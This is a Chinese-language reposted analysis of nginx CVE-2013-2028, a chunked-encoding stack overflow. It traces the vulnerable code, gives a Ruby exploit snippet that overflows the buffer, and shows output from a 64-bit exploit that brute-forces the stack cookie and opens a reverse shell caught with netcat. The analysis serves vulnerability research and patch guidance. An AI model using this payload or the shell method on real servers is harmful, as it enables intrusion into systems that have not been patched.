记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Nginx 1.3.9、1.4.0缓冲区溢出漏洞以及64位下的漏洞利用分析

2013-05-23 23:10

前言知识:

CVE-2013-2028:nginx 在处理某些畸形的HTTP请求长度值时存在问题,攻击者利用此漏洞可能造成栈溢出从而执行任意代码,最低限度可造成拒绝服务攻击。

受影响的软件及系统:nginx 1.3.9-1.4.0

解决方法:NSFOCUS建议您升级到nginx 1.4.1或nginx 1.5.0。

简介:

在CVE-2013-2028发布的几天之后,Vnsecurity组织已经成功通过程序溢出对此漏洞进行了深度的利用。但是,为了让漏洞利用程序在真实的渗透环境中更具可靠性和有效性,Vnsecurity组织仍然尝试开发出不同的攻击载荷。自从针对Nginx 32-bit的漏洞利用程序出现在 Metasploit 后,Vnsecurity组织决定公开一些他们的作品。在本文,你会找到如何快速分析出Nginx的漏洞,进而通过使用Vnsecurity组织提供的溢出攻击载荷来对64 位的Linux漏洞进行有效的利用。

91ri.org:metasploit中已有Nginx 32-bit的漏洞利用程序,大家可以自行搜索并测试。:)

BUG详情:

根据nginx.org的补丁来看,攻击者利用此漏洞可能造成栈溢出从而执行任意代码,与Nginx 3个不同的组件有关。

1)     当用户发送一个HTTP请求头并且首部带有“Transfer-Encoding: chunked”时.,Nginx会对这些请求进行“请求长度”的估算,而对实现此估算功能利用的是src/http/ngx_http_parse.c:2011组件。

if (ch >= '0' && ch <= '9') {   ctx->size = ctx->size * 16 + (ch - '0');
  break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {   ctx->size = ctx->size * 16 + (c - 'a' + 10);
  break;
}

这是一段简单的代码,用来实现把“请求长度”从十六进制转换成十进制。因为 ctx->size 被定义为 无符号类型size_t,当这个变量的数值是无符号类型且最高位置1的时候,可被机器识别成为一个负数,后面我们会做出详细的说明。

 

2) Nginx处理静态文件组件

Nginx安装处理静态文件组件 (默认安装的情况下),当收到一个请求时, ngx_http_static_handler 在src/http/modules/ngx_http_static_module.c:49 会被调用执行。

然后ngx_http_static_handler 会在src/http/modules/ngx_http_static_module.c:211里访问 ngx_http_discard_request_body;

然后ngx_http_discard_request_body会在src/http/ngx_http_request_body.c:526里访问ngx_http_read_discarded_request_body;

 

一句话总结就是: ngx_http_static_handler——>ngx_http_static_handler——>ngx_http_discard_request_body——>ngx_http_read_discarded_request_body

ngx_http_read_discarded_request_body 是一个有趣的地方,在src/http/ngx_http_request_body.c:630里,我们可以发现一个定义了固定大小的缓冲区 , 如下文代码所示:

static ngx_int_t
ngx_http_read_discarded_request_body(ngx_http_request_t *r)
{
    size_t     size;
    ssize_t    n;
    ngx_int_t  rc;
    ngx_buf_t  b;
    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];

 

NGX_HTTP_DISCARD_BUFFER_SIZE在 src/http/ngx_http_request.h:19中 被定义成固定大小4096字节。

在下文的3)处,我们会演示 src/http/ngx_http_request_body.c:649 中的一个十分有趣的缓冲区溢出:

size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);
n = r->connection->recv(r->connection, buffer, size);

 

3)     当解析HTTP请求时的异常转换状态

我们回到src/http/ngx_http_request_body.c, 在访问调用 ngx_http_read_discarded_request_body之前, nginx会检查HTTP请求头里是否拥有 “chunked” 类型的字段, 然后运行src/http/ngx_http_request_body.c:680里定义的 ngx_http_discard_request_body_filter 。

ngx_http_discard_request_body_filter 会执行 ngx_http_parse_chunked ,这个就是我们在1)提到的代码啦. 完成之后, 返回值 “rc” 会被拿去跟一些常数作对比,以确定下一步要执行的流程. 他们其中一个判断十分有趣:

 

if (rc == NGX_AGAIN) {
    /* set amount of data we want to see next time */
     r->headers_in.content_length_n = rb->chunked->length;
     break;
}

 

假定我们能把rb->chunked->length设置成一个非常大的整数如1)所提, 然后设rc = NGX_AGAIN 3)中所提, 然后便是见证奇迹的时刻啦:

- r->headers_in.content_length_n 变为负数 ( 因为被定义成无符号类型).

- 函数 ngx_http_discard_request_body_filter 返回一个值 ,然后程序转去执行ngx_http_read_discarded_request_body. 这包含了一个有漏洞的缓冲区。

- 最后 recv() 命令被欺骗,接收了多于4096个字节的数据,你们懂的,缓冲区溢出啦!.

这里有很多方法去设置chunked->length, 当 rb->chunked->length在函数ngx_http_parse_chunked( 根据 rb->chunked->size )的末尾被分配的时候,我们就有了直接控制权了。

 

switch (state) {
case sw_chunk_start:
    ctx->length = 3 /* "0" LF LF */;
break;
    case sw_chunk_size:
ctx->length = 2 /* LF LF */
              + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

 

为了使 rc = NGX_AGAIN,我们知道nginx在首次通信的时候,会接受请求低于1024字节的数据包。 因此,如果我们发送高于1024字节的数据包,ngx_http_parse_chunked 会返回一个 NGX_AGAIN 值,然后nginx 尝试重新接受一次。

 

缓冲区溢出漏洞的攻击载荷:

- 发送一个首部带有“transfer-encoding: chunked”的HTTP请求头

- 发送一个超过1024字节十六进制的整数,当函数第一次读取的时候。

- 发送4096字节的攻击载荷去溢出缓冲区, 当函数第二次读取的时候。

由于利用程序太长了,就不全部列出了。以下是针对64位机下的一个漏洞利用小片段:

 

require 'ronin'
tcp_connect(ARGV[0],ARGV[1].to_i) { |s|
    payload = ["GET / HTTP/1.1\r\n",
            "Host: 1337.vnsecurity.net\r\n",
            "Accept: */*\r\n",
            "Transfer-Encoding: chunked\r\n\r\n"].join
    payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked
    payload << "A"*(4096+8) #padding
    payload << "C"*8 #cookie
    s.send(payload, 0)
}

 

通过监视其输出:

strace -p 11337 -s 5000 2>&1 | grep recv
recvfrom(3, "GET / HTTP/1.1\r\nHost: 1337.vnsecurity.net\r\nAccept: */*\r\nTransfer-Encoding: chunked\r\n\r\nfff...snip..fff0f0f0f0f", 1024, 0, NULL, NULL) = 1024
recvfrom(3, "AAA..snip..AACCCCCCCC", 18446744069667229461, 0, NULL, NULL) = 4112

 

64位机下的漏洞利用程序开发:

这个构想可以成功在cookie里实现,通过利用一个大整数对cookie进行填充。如果导致进程崩溃的话,它会什么也没有返回。此时我们应该多次重复,直到收到输出为止。

下面会有一大堆乱七八糟的术语,请感兴趣的大黑阔们自行查阅。

以下贴出关键代码,要全部的利用代码请到https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb获取:

ruby exp-nginx.rb 1.2.3.4 4321
[+] searching for byte: 1
214
[+] searching for byte: 2
102
[+] searching for byte: 3
232
[+] searching for byte: 4
213
[+] searching for byte: 5
103
[+] searching for byte: 6
151
[+] searching for byte: 7
45
Found cookie: \x00\xd6\x66\xe8\xd5\x67\x97\x2d 8
PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT w.w.w.w 4000
1120 connections

 

At w.w.w.w

nc -lvvv 4000
Connection from 1.2.3.4 port 4000 [tcp/*] accepted
uname -a
Linux ip-10-80-253-191 3.2.0-40-virtual #64-Ubuntu SMP Mon Mar 25 21:42:18 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(netdev),111(admin)
ps aux | grep nginx
ubuntu    2920  0.1  0.0  13920   668 ?        Ss   15:11   0:01 nginx: master process ./sbin/nginx
ubuntu    5037  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5039  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5041  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process

 

此漏洞利用的缺点:

这里有几个可能造成你对exp无法作用的原因:

1)     Nginx使用non-blocking recv(),如果我们不能发送足够的数据去重写返回的地址/cookie,那么exp将会失败。这通常是因为普通的服务器会一次性载入多个不同用户的请求。

2)     到此,我们的分析报告是针对服务器默认的情况。如果当管理员修改了默认配置,情况将会变得不一样,甚至我们的exp将会失效。

3)     如果对远程服务器的系统位数不熟悉的话,盲目地攻击将会是十分困难的。当在32位系统的机子上,我们这个exp通常不会成功。

 

原文LINK:http://www.vnsecurity.net/2013/05/analysis-of-nginx-cve-2013-2028/

本文由网络安全实验室(91ri.org)原创翻译、修改、整理,转载请注明出处。

相关日志
知识来源: www.91ri.org/6029.html

阅读:350697 | 评论:0 | 标签:其他漏洞 web安全 漏洞利用 溢出 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“Nginx 1.3.9、1.4.0缓冲区溢出漏洞以及64位下的漏洞利用分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云